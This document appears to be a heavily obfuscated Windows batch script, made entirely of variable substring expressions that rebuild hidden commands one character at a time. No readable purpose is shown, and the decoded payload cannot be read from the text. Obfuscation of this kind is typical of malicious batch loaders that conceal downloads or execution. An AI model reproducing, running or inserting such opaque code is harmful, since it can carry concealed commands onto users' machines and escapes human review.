:~151,1%%':~25,1%%':~58,1%%':~16,1%%':~-144,1%%':~-144,1%%':~134,1%%':~-77,1%%':~-144,1%%':~16,1%%':~-144,1%%':~87,1%%':~-44,1%%':~16,1%%':~-144,1%%':~16,1%%':~139,1%%':~16,1%%':~-144,1%%':~-144,1%%':~-85,1%%':~-141,1%%':~-144,1%%':~16,1%%':~16,1%%':~-127,1%%':~16,1%%':~-144,1%%':~16,1%%':~22,1%%':~-144,1%%':~16,1%%':~16,1%%':~45,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~-125,1%%':~-156,1%%':~-76,1%%':~-144,1%%':~16,1%%':~-144,1%%':~-45,1%%':~-142,1%%':~141,1%%':~16,1%%':~16,1%%':~16,1%%':~-131,1%%':~-151,1%%':~-144,1%%':~-144,1%%':~16,1%%':~-69,1%%':~-144,1%%':~-144,1%%':~16,1%%':~105,1%%':~16,1%%':~16,1%%':~16,1%%':~154,1%%':~94,1%%':~-144,1%%':~16,1%%':~16,1%%':~-119,1%%':~132,1%%':~149,1%%':~54,1%%':~-93,1%%':~85,1%%':~152,1%%':~115,1%%':~69,1%%':~-151,1%%':~109,1%%':~-84,1%%':~-94,1%%':~-159,1%%':~101,1%%':~-11,1%%':~-106,1%%':~67,1%%':~-75,1%%':~152,1%%':~84,1%%':~-59,1%%':~25,1%%':~20,1%%':~-76,1%%':~-45,1%%':~85,1%%':~-143,1%%':~-140,1%%':~18,1%%':~84,1%%':~-75,1%%':~4,1%%':~85,1%%':~-76,1%%':~20,1%%':~-103,1%%':~-75,1%%':~-156,1%%':~-75,1%%':~-141,1%%':~94,1%%':~-140,1%%':~17,1%%':~67,1%%':~-110,1%%':~101,1%%':~-143,1%%':~149,1%%':~-75,1%%':~-143,1%%':~4,1%%':~84,1%%':~25,1%%':~-59,1%%':~20,1%%':~84,1%%':~115,1%%':~71,1%%':~91,1%%':~-143,1%%':~140,1%%':~-76,1%%':~-11,1%%':~149,1%%':~-106,1%%':~85,1%%':~-135,1%%':~-150,1%%':~-59,1%%':~35,1%%':~91,1%%0 %':~149,1%%':~149,1%%':~-106,1%%':~67,1%%':~-150,1%%':~-20,1%%':~152,1%%':~4,1%%':~101,1%%':~-33,1%%':~-143,1%%':~115,1%%':~-154,1%%':~-93,1%%':~115,1%%':~-154,1%%':~58,1%%':~115,1%%':~-154,1%%':~152,1%%':~115,1%%':~-104,1%%':~149,1%%':~-11,1%%':~54,1%%':~-93,1%%':~85,1%%':~152,1%%':~115,1%%':~-2,1%%':~-91,1%%':~84,1%%':~-127,1%%':~-64,1%%':~-94,1%%':~-151,1%%':~-127,1%%':~94,1%%':~149,1%%':~54,1%%':~-75,1%%':~-141,1%%':~50,1%%':~-8,1%%':~-11,1%%':~149,1%%':~54,1%%':~-93,1%%':~-75,1%%':~152,1%%':~-45,1%%':~-75,1%%':~-131,1%%':~124,1%%':~66,1%%':~-82,1%%':~-64,1%%':~-57,1%%':~149,1%%':~54,1%%':~-93,1%%':~85,1%%':~-8,1%%':~115,1%%':~132,1%%':~33,1%%':~66,1%%':~64,1%%':~124,1%%':~-11,1%%':~54,1%%':~-75,1%%':~-135,1%%':~10,1%%':~101,1%%':~-45,1%%':~-6,1%
%':~-159,1%%':~113,1%%':~-131,1%%':~45,1%%':~-16,1%%':~38,1%%':~36,1%%':~-50,1%%':~155,1%%':~151,1%%':~26,1%%':~-80,1%%':~-18,1%%':~31,1%%':~-159,1%%':~-47,1%%':~29,1%%':~45,1%%':~144,1%%':~158,1%%':~71,1%%':~94,1%%':~112,1%%':~36,1%%':~47,1%%':~-19,1%%':~129,1%%':~117,1%%':~106,1%%':~-129,1%%':~1,1%%':~113,1%%':~-131,1%%':~-115,1%%':~144,1%%':~2,1%%':~-134,1%%':~149,1%%':~36,1%%':~-1,1%%':~-31,1%%':~-47,1%%':~-15,1%%':~-89,1%%':~-129,1%%':~-159,1%%':~-47,1%%':~29,1%%':~-115,1%%':~144,1%%':~127,1%%':~77,1%%':~80,1%%':~117,1%%':~36,1%%':~34,1%%':~-43,1%%':~26,1%%':~138,1%%':~-28,1%%':~-129,1%%':~1,1%%':~113,1%%':~-131,1%%':~-115,1%%':~-16,1%%':~-70,1%%':~-112,1%%':~-112,1%%':~-15,1%%':~-74,1%%':~36,1%%':~-132,1%%':~-158,1%%':~132,1%%':~127,1%%':~31,1%%':~1,1%%':~34,1%%':~-39,1%%':~144,1%!'!%':~-16,1%%':~26,1%%':~29,1%%':~149,1%%':~-16,1%%':~-50,1%%':~-5,1%%':~-16,1%%':~-139,1%%':~-159,1%%':~29,1%%':~-40,1%%':~-73,1%%':~106,1%%':~140,1%%':~-9,1%%0 %':~-129,1%%':~-159,1%%':~-47,1%%':~87,1%%':~-80,1%%':~-115,1%%':~-19,1%%':~106,1%%':~-70,1%%':~26,1%%':~-16,1%%':~-152,1%%':~-47,1%%':~144,1%%':~-152,1%%':~121,1%%':~-16,1%%':~8,1%%':~-115,1%%':~144,1%%':~105,1%%':~-129,1%%':~-159,1%%':~29,1%%':~-28,1%%':~34,1%%':~45,1%%':~40,1%%':~144,1%%':~29,1%%':~142,1%%':~113,1%%':~29,1%%':~144,1%%':~-139,1%%':~1,1%%':~-40,1%%':~142,1%%':~-47,1%%':~40,1%%':~-129,1%%':~-159,1%%':~-47,1%%':~-131,1%%':~45,1%%':~-16,1%%':~-54,1%%':~44,1%%':~117,1%%':~36,1%%':~4,1%%':~158,1%%':~-112,1%%':~-129,1%%':~-159,1%%':~-47,1%%':~-131,1%%':~45,1%%':~144,1%%':~84,1%%':~-66,1%%':~-40,1%%':~-1,1%%':~-124,1%%':~-98,1%%':~-34,1%%':~-83,1%%':~67,1%%':~-129,1%%':~-159,1%%':~-131,1%%':~-134,1%%':~-19,1%%':~142,1%%':~-54,1%%':~120,1%%':~-158,1%%':~-18,1%%':~31,1%%':~1,1%%':~113,1%%':~29,1%%':~45,1%%':~-16,1%%':~149,1%%':~-40,1%%':~4,1%%':~-116,1%%':~36,1%%':~-131,1%%':~126,1%%':~60,1%%':~26,1%%':~13,1%%':~31,1%%':~1,1%%':~113,1%%':~29,1%%':~45,1%%':~-16,1%%':~38,1%%':~36,1%%':~-50,1%%':~-50,1%%':~110,1%%':~129,1%%':~110,1%%':~110,1%%':~110,1%%':~62,1%%':~-50,1%%':~110,1%%':~-50,1%%':~-48,1%%':~110,1%%':~110,1%%':~110,1%%':~-12,1%%':~-50,1%%':~110,1%%':~110,1%%':~-96,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-108,1%%':~34,1%%':~110,1%%':~110,1%%':~-50,1%%':~-2,1%%':~-73,1%%':~110,1%%':~110,1%%':~-50,1%%':~117,1%%':~110,1%%':~110,1%%':~-50,1%%':~94,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-102,1%%':~110,1%%':~110,1%%':~110,1%%':~1,1%%':~-151,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-116,1%%':~29,1%%':~45,1%%':~127,1%%':~-50,1%%':~110,1%%':~110,1%%':~69,1%%':~110,1%%':~-50,1%%':~-50,1%%':~13,1%%':~110,1%%':~-50,1%%':~110,1%%':~-64,1%%':~110,1%%':~110,1%%':~-50,1%%':~-29,1%%':~110,1%%':~-50,1%%':~-50,1%%':~136,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-132,1%%':~110,1%%':~110,1%%':~-50,1%%':~155,1%%':~110,1%%':~-50,1%%':~110,1%%':~38,1%%':~2,1%%':~110,1%%':~-50,1%%':~110,1%%':~89,1%%':~110,1%%':~-50,1%%':~-50,1%%':~6,1%%':~-112,1%%':~101,1%%':~-50,1%%':~110,1%%':~110,1%%':~84,1%%':~110,1%%':~110,1%%':~110,1%%':~21,1%%':~-50,1%%':~-50,1%%':~110,1%%':~-34,1%%':~-15,1%%':~110,1%%':~-50,1%%':~110,1%%':~8,1%%':~-50,1%%':~-50,1%%':~110,1%%':~-52,1%%':~-50,1%%':~-50,1%%':~110,1%%':~75,1%%':~-50,1%%':~110,1%%':~-50,1%%':~-26,1%%':~-93,1%%':~-50,1%%':~110,1%%':~-50,1%%':~-129,1%%':~110,1%%':~-50,1%%':~-50,1%%':~-83,1%%':~110,1%%':~110,1%%':~-50,1%%':~-120,1%%':~141,1%%':~124,1%%':~-28,1%%':~-50,1%%':~110,1%%':~110,1%%':~15,1%%':~146,1%%':~110,1%%':~-50,1%%':~-50,1%%':~-141,1%%':~-4,1%%':~159,1%%':~-80,1%%':~-50,1%%':~110,1%%':~110,1%%':~-113,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-94,1%%':~-50,1%%':~-50,1%%':~110,1%%':~144,1%%':~-50,1%%':~110,1%%':~110,1%%':~-143,1%%':~-50,1%%':~-50,1%%':~110,1%%':~56,1%%':~110,1%%':~-50,1%%':~110,1%%':~60,1%%':~-50,1%%':~110,1%%':~110,1%%':~-60,1%%':~110,1%%':~-50,1%%':~110,1%%':~110,1%%':~110,1%%':~-50,1%%':~110,1%%':~-55,1%%':~-50,1%%':~-50,1%%':~110,1%%':~-87,1%%':~110,1%%':~110,1%%':~-50,1%%':~-41,1%%':~110,1%%':~110,1%%':~-50,1%%':~-9,1%%':~-134,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-57,1%%':~110,1%%':~110,1%%':~-50,1%%':~79,1%%':~-70,1%%':~110,1%%':~110,1%%':~110,1%%':~-137,1%%':~-50,1%%':~110,1%%':~110,1%%':~92,1%%':~110,1%%':~-50,1%%':~-50,1%%':~98,1%%':~110,1%%':~110,1%%':~-50,1%%':~138,1%%':~-39,1%%':~110,1%%':~110,1%%':~110,1%%':~71,1%%':~110,1%%':~110,1%%':~-50,1%%':~33,1%%':~142,1%%':~-47,1%%':~110,1%%':~-50,1%%':~110,1%%':~-78,1%%':~110,1%%':~-50,1%%':~110,1%%':~-135,1%%':~110,1%%':~-50,1%%':~-50,1%%':~11,1%%':~106,1%%':~110,1%%':~-50,1%%':~110,1%%':~42,1%%':~-50,1%%':~-50,1%%':~110,1%%':~-110,1%%':~-50,1%%':~-50,1%%':~-50,1%%':~-20,1%%':~149,1%%':~-50,1%%':~-50,1%%':~110,1%%':~115,1%%':~-50,1%%':~110,1%%':~110,1%%':~-7,1%%':~-50,1%%':~110,1%%':~-50,1%%':~123,1%%':~-50,1%%':~-50,1%%':~110,1%%':~-124,1%%':~110,1%%':~110,1%%':~110,1%%':~-74,1%%':~-40,1%%':~110,1%%':~-50,1%%':~110,1%%':~-106,1%%':~110,1%%':~110,1%%':~-50,1%%':~4,1%%':~-129,1%%':~-159,1%%':~113,1%%':~29,1%%':~45,1%%':~-16,1%%':~149,1%%':~126,1%%':~-100,1%%':~36,1%%':~29,1%%':~-151,1%%':~54,1%%':~26,1%%':~-129,1%%':~1,1%%':~-47,1%%':~-131,1%%':~45,1%%':~144,1%%':~-39,1%%':~-73,1%%':~127,1%%':~-124,1%%':~-98,1%%':~156,1%%':~-12,1%%':~84,1%%':~-129,1%%':~-159,1%%':~113,1%%':~-131,1%%':~-115,1%%':~144,1%%':~-151,1%%':~141,1%%':~134,1%%':~36,1%%':~60,1%%':~-113,1%%':~-89,1%%':~134,1%%':~31,1%%':~1,1%%':~-47,1%%':~29,1%%':~45,1%%':~-18,1%%':~-54,1%%':~120,1%%':~-158,1%%':~-18,1%%':~144,1%%':~29,1%%':~-134,1%%':~-158,1%%':~-15,1%%':~-18,1%%':~29,1%%':~141,1%%':~29,1%%':~142,1%%':~2,1%%':~48,1%%':~-131,1%%':~-19,1%%':~-131,1%%':~132,1%%':~-4,1%%':~-158,1%%':~-134,1%%':~113,1%%':~-126,1%%':~106,1%%':~26,1%%':~-129,1%%':~-131,1%%':~26,1%%':~141,1%%':~142,1%%':~120,1%%':~-54,1%%':~-158,1%%':~142,1%%':~-16,1%%':~115,1%%':~-9,1%%':~-134,1%%':~80,1%%':~-18,1%%':~31,1%%':~-129,1%%':~-159,1%%':~113,1%%':~29,1%%':~45,1%%':~-16,1%%':~86,1%%':~-54,1%%':~13,1%%':~-62,1%%':~36,1%%':~73,1%%':~-59,1%%':~31,1%%':~-159,1%%':~113,1%%':~-131,1%%':~45,1%%':~144,1%%':~101,1%%':~-116,1%%':~146,1%%':~112,1%%':~-126,1%%':~-124,1%%':~54,1%%':~-66,1%%':~9,1%%':~-1,1%%':~-22,1%%':~31,1%%':~1,1%%':~-47,1%%':~29,1%%':~-115,1%%':~144,1%%':~98,1%%':~-33,1%%':~36,1%%':~94,1%%':~54,1%%':~134,1%%':~-112,1%%':~31,1%%':~1,1%%':~113,1%%':~-131,1%%':~45,1%%':~144,1%%':~148,1%%':~80,1%%':~36,1%%':~-145,1%%':~62,1%%':~31,1%%':~1,1%%':~-47,1%%':~-131,1%%':~-115,1%%':~-16,1%%':~-28,1%%':~-2,1%%':~134,1%%':~-124,1%%':~124,1%%':~-134,1%%':~-129,1%%':~-159,1%%':~-131,1%%':~-40,1%%':~-73,1%%':~-54,1%%':~-20,1%%':~151,1%%0 %':~31,1%%':~31,1%%':~-159,1%%':~113,1%%':~87,1%%':~-80,1%%':~-115,1%%':~-19,1%%':~-54,1%%':~-70,1%%':~-134,1%%':~144,1%%':~-152,1%%':~113,1%%':~-16,1%%':~8,1%%':~121,1%%':~144,1%%':~-152,1%%':~45,1%%':~144,1%%':~105,1%%':~31,1%%':~31,1%%':~1,1%%':~113,1%%':~-131,1%%':~-115,1%%':~-16,1%%':~-66,1%%':~77,1%%':~-124,1%%':~-54,1%%':~-34,1%%':~-87,1%%':~47,1%%':~-54,1%%':~-129,1%%':~-159,1%%':~-47,1%%':~-131,1%%':~-115,1%%':~-16,1%%':~-66,1%%':~-131,1%%':~36,1%%':~-54,1%%':~-47,1%%':~-15,1%%':~67,1%%':~-129,1%%':~-159,1%%':~113,1%%':~-131,1%%':~-115,1%%':~144,1%%':~-87,1%%':~73,1%%':~77,1%%':~-98,1%%':~-1,1%%':~-124,1%%':~146,1%%':~-31,1%%':~124,1%%':~31,1%%':~-159,1%%':~29,1%%':~132,1%%':~-126,1%%':~45,1%%':~31,1%%':~31,1%%':~-159,1%%':~29,1%%':~-40,1%%':~-73,1%%':~106,1%%':~-16,1%%':~155,1%
%':~23,1%%':~130,1%%':~-133,1%%':~-132,1%%':~91,1%%':~45,1%%':~152,1%%':~-59,1%%':~43,1%%':~109,1%%':~110,1%%':~-75,1%%':~-31,1%%':~70,1%%':~23,1%%':~12,1%%':~-36,1%%':~-69,1%!'!%':~91,1%%':~-50,1%%':~-133,1%%':~-16,1%%':~91,1%%':~101,1%%':~43,1%%':~-69,1%%':~-104,1%%':~-137,1%%':~-133,1%%':~-5,1%%':~15,1%%':~-23,1%%':~143,1%%':~-51,1%%0 %':~-90,1%%':~23,1%%':~-30,1%%':~-145,1%%':~-75,1%%':~-132,1%%':~-85,1%%':~137,1%%':~-45,1%%':~-50,1%%':~-69,1%%':~-99,1%%':~-30,1%%':~91,1%%':~61,1%%':~124,1%%':~91,1%%':~61,1%%':~28,1%%':~-69,1%%':~-57,1%%':~70,1%%':~23,1%%':~-133,1%%':~77,1%%':~-148,1%%':~28,1%%':~74,1%%':~91,1%%':~-133,1%%':~129,1%%':~-30,1%%':~-133,1%%':~91,1%%':~56,1%%':~23,1%%':~155,1%%':~-31,1%%':~-30,1%%':~-86,1%%':~-90,1%%':~-137,1%%':~27,1%%':~110,1%%':~75,1%%':~129,1%%':~137,1%%':~155,1%%':~-114,1%%':~-31,1%%':~70,1%%':~23,1%%':~130,1%%':~-133,1%%':~28,1%%':~91,1%%':~-115,1%%':~152,1%%':~101,1%%':~-59,1%%':~-59,1%%':~95,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~-121,1%%':~101,1%%':~101,1%%':~-59,1%%':~101,1%%':~-59,1%%':~-59,1%%':~101,1%%':~112,1%%':~-59,1%%':~101,1%%':~101,1%%':~132,1%%':~85,1%%':~101,1%%':~101,1%%':~101,1%%':~99,1%%':~101,1%%':~-59,1%%':~101,1%%':~17,1%%':~-76,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~23,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~-134,1%%':~-59,1%%':~101,1%%':~101,1%%':~-88,1%%':~101,1%%':~-59,1%%':~101,1%%':~-55,1%%':~-59,1%%':~-59,1%%':~101,1%%':~-99,1%%':~-101,1%%':~101,1%%':~101,1%%':~-59,1%%':~-63,1%%':~-80,1%%':~101,1%%':~101,1%%':~101,1%%':~33,1%%':~-59,1%%':~101,1%%':~-59,1%%':~5,1%%':~-30,1%%':~-59,1%%':~-59,1%%':~101,1%%':~-12,1%%':~101,1%%':~101,1%%':~-59,1%%':~-51,1%%':~-59,1%%':~-59,1%%':~101,1%%':~-73,1%%':~101,1%%':~101,1%%':~-59,1%%':~121,1%%':~-145,1%%':~52,1%%':~101,1%%':~101,1%%':~-59,1%%':~-43,1%%':~144,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~-102,1%%':~-23,1%%':~101,1%%':~-59,1%%':~-59,1%%':~-26,1%%':~-59,1%%':~-59,1%%':~101,1%%':~-19,1%%':~-59,1%%':~-59,1%%':~101,1%%':~9,1%%':~-114,1%%':~101,1%%':~-59,1%%':~-59,1%%':~14,1%%':~27,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~-159,1%%':~101,1%%':~101,1%%':~-59,1%%':~150,1%%':~-59,1%%':~101,1%%':~101,1%%':~-141,1%%':~-59,1%%':~-59,1%%':~101,1%%':~50,1%%':~-59,1%%':~101,1%%':~-59,1%%':~-78,1%%':~-59,1%%':~101,1%%':~101,1%%':~157,1%%':~101,1%%':~-59,1%%':~101,1%%':~152,1%%':~101,1%%':~101,1%%':~-59,1%%':~-34,1%%':~-59,1%%':~101,1%%':~101,1%%':~93,1%%':~-92,1%%':~101,1%%':~101,1%%':~-59,1%%':~37,1%%':~101,1%%':~-59,1%%':~101,1%%':~41,1%%':~29,1%%':~101,1%%':~101,1%%':~101,1%%':~107,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~43,1%%':~-59,1%%':~101,1%%':~-59,1%%':~-17,1%%':~-85,1%%':~-59,1%%':~101,1%%':~-59,1%%':~-37,1%%':~101,1%%':~-59,1%%':~-59,1%%':~-90,1%%':~-59,1%%':~101,1%%':~-59,1%%':~146,1%%':~101,1%%':~-59,1%%':~101,1%%':~-69,1%%':~-31,1%%':~101,1%%':~-59,1%%':~101,1%%':~-6,1%%':~-132,1%%':~-36,1%%':~101,1%%':~-59,1%%':~-59,1%%':~56,1%%':~-59,1%%':~-59,1%%':~101,1%%':~48,1%%':~77,1%%':~115,1%%':~-59,1%%':~101,1%%':~101,1%%':~-97,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~21,1%%':~-84,1%%':~101,1%%':~101,1%%':~-59,1%%':~79,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~89,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~114,1%%':~101,1%%':~-59,1%%':~-59,1%%':~-153,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~-21,1%%':~-136,1%%':~-59,1%%':~101,1%%':~-59,1%%':~3,1%%':~101,1%%':~101,1%%':~101,1%%':~-115,1%%':~110,1%%':~101,1%%':~101,1%%':~101,1%%':~136,1%%':~101,1%%':~-59,1%%':~101,1%%':~-1,1%%':~101,1%%':~101,1%%':~-59,1%%':~31,1%%':~101,1%%':~-59,1%%':~-59,1%%':~74,1%%':~101,1%%':~-59,1%%':~101,1%%':~103,1%%':~83,1%%':~101,1%%':~101,1%%':~101,1%%':~-125,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~-149,1%%':~-59,1%%':~101,1%%':~101,1%%':~-95,1%%':~-109,1%%':~-59,1%%':~-59,1%%':~-59,1%%':~54,1%%':~155,1%%':~101,1%%':~101,1%%':~101,1%%':~67,1%%':~101,1%%':~101,1%%':~-59,1%%':~-32,1%%':~12,1%%':~101,1%%':~101,1%%':~101,1%%':~-41,1%%':~70,1%%':~23,1%%':~130,1%%':~-133,1%%':~-132,1%%':~91,1%%':~12,1%%':~-157,1%%':~87,1%%':~137,1%%':~-102,1%%':~152,1%%':~154,1%%':~-39,1%%':~41,1%%':~70,1%%':~23,1%%':~130,1%%':~-133,1%%':~28,1%%':~91,1%%':~19,1%%':~110,1%%':~67,1%%':~-31,1%%':~124,1%%':~-8,1%%':~-34,1%%':~75,1%%':~70,1%%':~-137,1%%':~130,1%%':~27,1%%':~-132,1%%':~91,1%%':~5,1%%':~-133,1%%':~68,1%%':~80,1%%':~152,1%%':~83,1%%':~-102,1%%':~77,1%%':~-77,1%%':~70,1%%':~-137,1%%':~130,1%%':~-133,1%%':~-132,1%%':~129,1%%':~137,1%%':~-5,1%%':~-114,1%%':~-31,1%%':~91,1%%':~27,1%%':~-50,1%%':~46,1%%':~59,1%%':~129,1%%':~-133,1%%':~-85,1%%':~27,1%%':~-31,1%%':~46,1%%':~-109,1%%':~27,1%%':~75,1%%':~27,1%%':~-83,1%%':~-77,1%%':~-114,1%%':~-50,1%%':~-30,1%%':~12,1%%':~-23,1%%':~-50,1%%':~-90,1%%':~27,1%%':~110,1%%':~-85,1%%':~-31,1%%':~-5,1%%':~137,1%%':~-114,1%%':~-31,1%%':~-69,1%%':~146,1%%':~-51,1%%':~-50,1%%':~-75,1%%':~129,1%%':~-90,1%%':~70,1%%':~-137,1%%':~-133,1%%':~-5,1%%':~-145,1%%':~-23,1%%':~143,1%%':~109,1%%0 %':~70,1%%':~70,1%%':~-137,1%%':~130,1%%':~27,1%%':~-132,1%%':~-69,1%%':~-93,1%%':~-106,1%%':~-8,1%%':~27,1%%':~85,1%%':~-132,1%%':~157,1%%':~-90,1%%':~-137,1%%':~130,1%%':~27,1%%':~-132,1%%':~-69,1%%':~124,1%%':~-39,1%%':~-119,1%%':~51,1%%':~-45,1%%':~-8,1%%':~-5,1%%':~84,1%%':~-90,1%%':~-137,1%%':~-30,1%%':~27,1%%':~-132,1%%':~-69,1%%':~-114,1%%':~-106,1%%':~110,1%%':~-50,1%%':~152,1%%':~52,1%%':~-85,1%%':~-39,1%%':~130,1%%':~51,1%%':~70,1%%':~23,1%%':~130,1%%':~-133,1%%':~-132,1%%':~91,1%%':~80,1%%':~59,1%%':~28,1%%':~-8,1%%':~84,1%%':~-36,1%%':~-131,1%%':~7,1%%':~-90,1%%':~-137,1%%':~-30,1%%':~-133,1%%':~-132,1%%':~91,1%%':~19,1%%':~-131,1%%':~-93,1%%':~-77,1%%':~-146,1%%':~-8,1%%':~54,1%%':~105,1%%':~-43,1%%':~-75,1%%':~-119,1%%':~-90,1%%':~-137,1%%':~130,1%%':~-145,1%%':~-75,1%%':~-132,1%%':~75,1%%':~-23,1%%':~-45,1%%':~-50,1%%':~-69,1%%':~61,1%%':~-30,1%%':~91,1%%':~-99,1%%':~124,1%%':~91,1%%':~61,1%%':~-132,1%%':~-69,1%%':~103,1%%':~-90,1%%':~70,1%%':~-137,1%%':~27,1%%':~77,1%%':~12,1%%':~28,1%%':~70,1%%':~70,1%%':~-137,1%%':~27,1%%':~-5,1%%':~15,1%%':~137,1%%':~-69,1%%':~-117,1%
%':~17,1%%':~34,1%%':~60,1%%':~103,1%%':~99,1%%':~-30,1%%':~-86,1%%':~-155,1%%':~-72,1%%':~-122,1%%':~-29,1%%':~10,1%%':~-60,1%%':~95,1%%':~-143,1%%':~157,1%%':~104,1%%':~-61,1%!'!%':~99,1%%':~131,1%%':~60,1%%':~47,1%%':~-61,1%%':~5,1%%':~88,1%%':~-61,1%%':~106,1%%':~17,1%%':~60,1%%':~-8,1%%':~-117,1%%':~50,1%%':~90,1%%':~38,1%%0 %':~-65,1%%':~-143,1%%':~34,1%%':~43,1%%':~-150,1%%':~-57,1%%':~-69,1%%':~50,1%%':~110,1%%':~-29,1%%':~99,1%%':~-135,1%%':~34,1%%':~-61,1%%':~25,1%%':~-56,1%%':~-61,1%%':~-135,1%%':~-57,1%%':~-61,1%%':~141,1%%':~95,1%%':~-143,1%%':~60,1%%':~-51,1%%':~-3,1%%':~103,1%%':~-21,1%%':~-61,1%%':~-100,1%%':~-60,1%%':~-126,1%%':~60,1%%':~99,1%%':~-54,1%%':~17,1%%':~152,1%%':~100,1%%':~34,1%%':~-21,1%%':~-65,1%%':~17,1%%':~-100,1%%':~-29,1%%':~-69,1%%':~100,1%%':~50,1%%':~152,1%%':~-103,1%%':~-60,1%%':~95,1%%':~-143,1%%':~-126,1%%':~60,1%%':~-57,1%%':~99,1%%':~60,1%%':~23,1%%':~-134,1%%':~74,1%%':~-45,1%%':~-146,1%%':~95,1%%':~-143,1%%':~34,1%%':~60,1%%':~103,1%%':~99,1%%':~-30,1%%':~74,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~135,1%%':~-155,1%%':~-155,1%%':~5,1%%':~-98,1%%':~5,1%%':~5,1%%':~-155,1%%':~106,1%%':~5,1%%':~5,1%%':~-155,1%%':~121,1%%':~-155,1%%':~5,1%%':~5,1%%':~52,1%%':~15,1%%':~-155,1%%':~5,1%%':~5,1%%':~148,1%%':~-155,1%%':~-155,1%%':~5,1%%':~83,1%%':~-11,1%%':~50,1%%':~-155,1%%':~-155,1%%':~5,1%%':~156,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~1,1%%':~103,1%%':~-155,1%%':~-155,1%%':~5,1%%':~-96,1%%':~91,1%%':~5,1%%':~-155,1%%':~5,1%%':~-127,1%%':~110,1%%':~-155,1%%':~5,1%%':~5,1%%':~108,1%%':~5,1%%':~-155,1%%':~5,1%%':~66,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-139,1%%':~5,1%%':~5,1%%':~-155,1%%':~-157,1%%':~-56,1%%':~-155,1%%':~-155,1%%':~5,1%%':~-70,1%%':~109,1%%':~-155,1%%':~5,1%%':~5,1%%':~70,1%%':~5,1%%':~-155,1%%':~-155,1%%':~-58,1%%':~-155,1%%':~5,1%%':~5,1%%':~-143,1%%':~5,1%%':~5,1%%':~5,1%%':~146,1%%':~-155,1%%':~5,1%%':~5,1%%':~42,1%%':~5,1%%':~5,1%%':~5,1%%':~-124,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-74,1%%':~-155,1%%':~5,1%%':~5,1%%':~-27,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-114,1%%':~5,1%%':~5,1%%':~5,1%%':~40,1%%':~57,1%%':~5,1%%':~-155,1%%':~5,1%%':~-111,1%%':~115,1%%':~5,1%%':~-155,1%%':~5,1%%':~119,1%%':~5,1%%':~-155,1%%':~5,1%%':~97,1%%':~5,1%%':~5,1%%':~5,1%%':~154,1%%':~5,1%%':~-155,1%%':~5,1%%':~23,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-101,1%%':~5,1%%':~-155,1%%':~-155,1%%':~128,1%%':~5,1%%':~-155,1%%':~-155,1%%':~95,1%%':~5,1%%':~5,1%%':~5,1%%':~31,1%%':~5,1%%':~-155,1%%':~-155,1%%':~-37,1%%':~5,1%%':~-155,1%%':~5,1%%':~-132,1%%':~60,1%%':~157,1%%':~5,1%%':~5,1%%':~-155,1%%':~159,1%%':~5,1%%':~-155,1%%':~-155,1%%':~-79,1%%':~84,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-148,1%%':~47,1%%':~-155,1%%':~5,1%%':~5,1%%':~-9,1%%':~-155,1%%':~5,1%%':~5,1%%':~-92,1%%':~5,1%%':~5,1%%':~-155,1%%':~-61,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-135,1%%':~5,1%%':~-155,1%%':~-155,1%%':~74,1%%':~142,1%%':~131,1%%':~5,1%%':~-155,1%%':~-155,1%%':~93,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~54,1%%':~-134,1%%':~5,1%%':~-155,1%%':~5,1%%':~125,1%%':~5,1%%':~5,1%%':~-155,1%%':~56,1%%':~5,1%%':~5,1%%':~-155,1%%':~-43,1%%':~-81,1%%':~-155,1%%':~-155,1%%':~5,1%%':~78,1%%':~5,1%%':~5,1%%':~5,1%%':~-46,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~-151,1%%':~-155,1%%':~5,1%%':~5,1%%':~-21,1%%':~5,1%%':~-155,1%%':~-155,1%%':~14,1%%':~5,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~5,1%%':~5,1%%':~-122,1%%':~5,1%%':~5,1%%':~5,1%%':~141,1%%':~-155,1%%':~5,1%%':~5,1%%':~7,1%%':~5,1%%':~-155,1%%':~5,1%%':~88,1%%':~-131,1%%':~44,1%%':~-155,1%%':~-155,1%%':~5,1%%':~-84,1%%':~5,1%%':~-155,1%%':~-155,1%%':~-30,1%%':~-117,1%%':~-155,1%%':~-155,1%%':~-155,1%%':~144,1%%':~34,1%%':~10,1%%':~-8,1%%':~-155,1%%':~-155,1%%':~5,1%%':~-48,1%%':~-155,1%%':~5,1%%':~-155,1%%':~-88,1%%':~-34,1%%':~-155,1%%':~5,1%%':~5,1%%':~-23,1%%':~-60,1%%':~5,1%%':~-155,1%%':~5,1%%':~19,1%%':~95,1%%':~17,1%%':~-126,1%%':~-100,1%%':~103,1%%':~-60,1%%':~50,1%%':~152,1%%':~57,1%%':~100,1%%':~-61,1%%':~-100,1%%':~-29,1%%':~57,1%%':~-134,1%%':~-60,1%%':~-100,1%%':~-69,1%%':~-100,1%%':~-60,1%%':~-103,1%%':~-11,1%%':~60,1%%':~91,1%%':~-100,1%%':~109,1%%':~-18,1%%':~57,1%%':~-29,1%%':~-126,1%%':~-3,1%%':~-110,1%%':~131,1%%':~-65,1%%':~60,1%%':~131,1%%':~-69,1%%':~100,1%%':~-8,1%%':~-110,1%%':~57,1%%':~-60,1%%':~-61,1%%':~-63,1%%':~-122,1%%':~131,1%%':~